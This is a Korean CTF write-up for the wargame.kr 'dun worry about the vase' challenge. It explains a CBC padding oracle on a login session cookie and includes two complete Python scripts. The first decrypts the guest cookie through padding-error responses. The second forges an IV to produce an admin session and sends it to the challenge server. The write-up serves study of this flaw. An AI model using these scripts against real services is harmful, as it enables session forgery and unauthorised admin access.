[wargame.kr] Level 3: dun worry about the vase

1. 문제 

https://dreamhack.io/wargame/challenges/325

[wargame.kr] dun worry about the vase

 

이 문제는 Pading Oracle 취약점에 대한 문제임을 명시하고 있다.

따라서 문제를 풀기전 패딩 오라클 취약점에 정리하였다. 

2025.03.07 - [Study/WebHacking] - Padding Oracle 취약점

2. 해결 과정 

(1) 문제 페이지 접속

 

로그인 form이 보이고 guest/guest가 기본값으로 입력되어 있다. 

 

 

값 그대로 로그인을 하면 admin 세션을 얻으라는 내용이 출력된다. 

세션 값은 L0g1n에 저장되어있다.         

                              

 

해당 을 URL 디코딩 해보면 Base64로 인코딩 된 두개의 값이 보인다.

 

Base64로 디코딩해보면 두 개의 암호문 처럼 보이는 값이 보인다. 즉, 우리는 오라클 패딩 취약점 공격을 할 수 있는 두 개의 암호문을 알 수 있게 된 것이다. 

두 개의 암호문이 아니였다. 내가 착각한 것인데 암호화 시스템에서 IV와 암호문을 연결하는 것은 CBC 모드와 같은 암호화 방식에서 IV와 암호문을 함께 전송할 때 흔하게 사용된다고 한다. 

따라서 첫번째 값이 초기화 벡터값이고 두번째 값이 첫번째 암호문이 될 것이다. 

 

따라서 오라클 패딩 공격을 하는 파이썬 코드를 짜보았다. 

 

(2) 익스플로잇 코드 작성 

 

공격에 필요한 정보는 암호문 2개, 쿠키 정보, 응답의 차이이다. 앞서 확인했듯이 쿠키 이름은  L0g1n이었다.

다음으로  응답이 어떻게 뜨는지 차이를 확인하기 위해서 임의로 조작한 세션값을 넣어 응답값을 확인하였다.

 

U7wAePQAwEk%3DX5oZDe%2FIlKhQ%3D (두 블록 사이에 X 추가 등) 세션값을 변경해서 넣어본 결과 패딩 에러 창이 뜨는 것을 확인할 수 있었다. 

 

사실 이 위 에러만 존재하는 줄 알았는데 패딩값은 맞는데 복호화한 값이 틀린 경우가 존재한다.

먼저, guest 세션값의 평문이 어떤 형태인지를 파악하기 위해 암호문을 복호화하는 코드를 작성하였다. 

#!/usr/bin/env python3
import base64
import urllib.parse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 서버 정보 설정
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D"  # URL 인코딩된 세션 값

# URL 디코딩
decoded_session = urllib.parse.unquote(SESSION_VALUE)
print(f"[+] URL 디코딩된 세션 값: {decoded_session}")

# 세션 값을 IV와 암호문으로 분리
parts = decoded_session.split('=')
iv_b64 = parts[0]
ciphertext_b64 = parts[1]

# Base64 패딩 수정
if len(iv_b64) % 4 != 0:
    iv_b64 += '=' * (4 - len(iv_b64) % 4)
if len(ciphertext_b64) % 4 != 0:
    ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)

# Base64 디코딩
try:
    iv = base64.b64decode(iv_b64)
    ciphertext = base64.b64decode(ciphertext_b64)
    print(f"[+] IV (hex): {iv.hex()}")
    print(f"[+] 암호문 (hex): {ciphertext.hex()}")
    print(f"[+] IV 길이: {len(iv)} 바이트")
    print(f"[+] 암호문 길이: {len(ciphertext)} 바이트")
except Exception as e:
    print(f"[!] Base64 디코딩 오류: {e}")
    exit(1)

# 요청 전송 함수
def send_payload(s, payload):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Cookie': f'{COOKIE_NAME}={payload};'
    }
    r = s.get(TARGET_URL, headers=headers, verify=False)
    return r.text

# XOR 연산 함수
def xor(data, key):
    output = bytearray()
    for i, ch in enumerate(data):
        output.append(ch ^ key[i % len(key)])
    return bytes(output)

# 쿠키 생성 함수
def make_cookie(iv, enc):
    iv_b64 = base64.b64encode(iv).decode()
    enc_b64 = base64.b64encode(enc).decode()
    return urllib.parse.quote(f"{iv_b64}={enc_b64}")

def main():
    # 세션 객체 생성
    s = requests.Session()
    
    # 블록 크기 확인
    block_size = len(iv)
    
    # 중간값 저장용 변수
    intermediate_values = b''
    
    print("\n[*] 패딩 오라클 공격 시작...")
    
    # 각 바이트 위치에 대한 공격 수행
    for i in range(1, block_size + 1):
        byte_pos = block_size - i  # 현재 작업 중인 바이트 위치
        print(f"\n[*] 바이트 위치 {byte_pos} 복호화 중...")
        
        # 패딩 값 (PKCS#7)
        padding_value = i
        
        # IV의 시작 부분 (변경하지 않을 부분)
        iv_prefix = iv[:byte_pos]
        
        # 이미 알아낸 중간값을 이용한 패딩 조작
        iv_suffix = b''
        for known_pos in range(block_size - 1, byte_pos, -1):
            known_idx = block_size - 1 - known_pos
            iv_suffix += bytes([intermediate_values[known_idx] ^ padding_value])
        
        # 현재 바이트에 대한 모든 가능한 값 시도
        found = False
        for j in range(256):
            # 조작된 IV 생성
            test_iv = iv_prefix + bytes([j]) + iv_suffix
            
            # 쿠키 생성
            test_cookie = make_cookie(test_iv, ciphertext)
            
            # 요청 전송
            res = send_payload(s, test_cookie)
            
            # 패딩이 유효한지 확인 - padding error가 없으면 유효
            if 'padding error' not in res:
                # 중간값 계산: intermediate = found_value ^ padding_value
                intermediate_byte = j ^ padding_value
                
                # 평문 계산: plaintext = intermediate ^ iv_byte
                plaintext_byte = intermediate_byte ^ iv[byte_pos]
                
                print(f"[+] 값 발견: 0x{j:02x}")
                print(f"[+] 중간값: 0x{intermediate_byte:02x}")
                print(f"[+] 평문 바이트: 0x{plaintext_byte:02x} (ASCII: {chr(plaintext_byte) if 32 <= plaintext_byte <= 126 else '?'})")
                
                # 발견한 중간값 저장
                intermediate_values = bytes([intermediate_byte]) + intermediate_values
                found = True
                break
        
        if not found:
            print(f"[!] 위치 {byte_pos}에서 값을 찾지 못함, 0으로 설정")
            intermediate_values = bytes([0]) + intermediate_values
    
    # 복호화된 평문 계산
    plaintext = xor(intermediate_values, iv)
    
    print("\n[+] 복호화 완료!")
    print(f"[+] 중간값 (hex): {intermediate_values.hex()}")
    print(f"[+] 평문 (hex): {plaintext.hex()}")
    
    try:
        print(f"[+] 평문 (ASCII): {plaintext.decode('utf-8', errors='replace')}")
    except Exception as e:
        print(f"[!] 평문을 문자열로 변환할 수 없음: {e}")

if __name__ == "__main__":
    main()

 

[실행 결과]

 

guest 계정의 암호문을 복호화하면 guest가 나온다.

즉, 8바이트 블록 암호에서 "guest"는 5바이트이므로, PKCS#7 패딩을 적용하면 "guest\x03\x03\x03"이다. 

 

(3) 익스플로잇

 

따라서 admin 권한을 얻기 위해서는 평문이 "admin\x03\x03\x03"이 되도록 하여 중간값과 XOR 연산을 하여 IV값을 생성한 뒤, 원래의 암호문과 합쳐 세션값을 생성한 뒤 요청을 보내면 될 것이다. 

원하는 평문을 암호화하는 것은 key값을 모르기 떄문에 불가능

#!/usr/bin/env python3
import base64
from urllib.parse import quote, unquote
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# 서버 정보 설정
TARGET_URL = "http://host3.dreamhack.games:22704/main.php"
COOKIE_NAME = "L0g1n"
SESSION_VALUE = "n4nzbNJMt1M%3DqWWNnk1v5fU%3D"  # URL 인코딩된 세션 값

# 페이로드 전송
def send_payload(s, payload):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Cookie': f'{COOKIE_NAME}={payload};'
    }
    r = s.get(TARGET_URL, headers=headers, verify=False)
    return r.text

# xor 함수
def xor(data, key):
    output = bytearray()
    for i, ch in enumerate(data):
        output.append(ch ^ key[i % len(key)])
    return bytes(output)

# hex로 변환해주는 함수
def hex_view(data):
    temp = data.hex()
    ret = ""
    for i in range(0, len(temp), 2):
        ret += temp[i:i+2] + " "
    return ret

# cookie 생성하는 함수
def make_cookie(iv, enc):
    return quote(base64.b64encode(iv)) + quote(base64.b64encode(enc))

def main():
    # 초기 값 설정
    decoded_session = unquote(SESSION_VALUE)
    parts = decoded_session.split('=')
    iv_b64 = parts[0] + "="
    ciphertext_b64 = parts[1] + "="

    try:
        iv = base64.b64decode(iv_b64)
        enc = base64.b64decode(ciphertext_b64)
    except Exception as e:
        print(f"[!] Base64 디코딩 오류: {e}")
        if len(iv_b64) % 4 != 0:
            iv_b64 += '=' * (4 - len(iv_b64) % 4)
        if len(ciphertext_b64) % 4 != 0:
            ciphertext_b64 += '=' * (4 - len(ciphertext_b64) % 4)
        iv = base64.b64decode(iv_b64)
        enc = base64.b64decode(ciphertext_b64)

    inter = b''
    s = requests.Session()

    # 현재 IV와 ENC 출력
    print("IV => {}".format(hex_view(iv)))
    print("암호문 => {}".format(hex_view(enc)))
    print(f"IV 길이: {len(iv)} 바이트")
    print(f"암호문 길이: {len(enc)} 바이트")

    print("\n[*] 패딩 오라클 공격 시작...")
    
    # iv 만드는 과정 1~iv길이+1 까지
    for i in range(1, len(iv) + 1):
        # iv 시작점 지정
        start = iv[:len(iv) - i]
        for j in range(0, 0xff + 1):
            # target = start + (0x00~0xff 중 1개) + xor(inter 뒤집은거, i)
            target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
            cookie = make_cookie(target, enc)
            res = send_payload(s, cookie)
            
            # 진행 상황 표시
            if j % 32 == 0:
                print(f"[*] 테스트 중: 패딩 {i}, 값 {j}/255")
            
            if 'padding error' not in res:
                print(f"[+] 값 발견: 패딩 {i}, 값 {j}")
                break
        
        # padding error가 안뜨면 정상이므로 구한 값 j와 현재 패딩 값 xor
        inter += bytes([i ^ j])
        
        # inter는 뒤부터 구하는 것 이기 때문에 뒤집어서 출력
        print(f"[+] 현재까지의 중간값: {hex_view(inter[::-1])}")

    # 다 구해진 인터 뒤집어서 리얼 인터로 만듬
    inter = inter[::-1]
    
    # 원본 평문 확인
    plain = xor(inter, iv)
    print("\n[+] 복호화 완료!")
    print(f"[+] 원본 평문 (hex): {hex_view(plain)}")
    print(f"[+] 원본 평문 (ASCII): {plain.decode('utf-8', errors='replace')}")

    # admin 세션 생성
    print("\n[*] Admin 세션 생성 중...")
    admin_plain = b"admin\x03\x03\x03"  # 8바이트 블록에 맞춘 admin + 패딩
    print(f"[+] 원하는 평문 (hex): {hex_view(admin_plain)}")

    # 중간값과 원하는 평문으로 새 IV 계산: IV' = D(C) XOR P'
    mod_iv = xor(inter, admin_plain)
    print(f"[+] 새 IV (hex): {hex_view(mod_iv)}")

    # 관리자 쿠키 생성
    admin_cookie = make_cookie(mod_iv, enc)
    print(f"[+] Admin 세션값: {admin_cookie}")

    # Admin으로 페이지 요청 및 응답 확인
    print("\n[*] Admin 세션으로 페이지 요청 중...")
    res = send_payload(s, admin_cookie)
    
    # 응답 내용 확인
    print("[+] 응답 페이지 내용:")
    print("-" * 50)
    print(res)
    print("-" * 50)

if __name__ == "__main__":
    main()

[결과]

 

 

실제로 세션을 조작해서 요청을 보내보아도 플래그를 동일하게 확인할 수 있었다.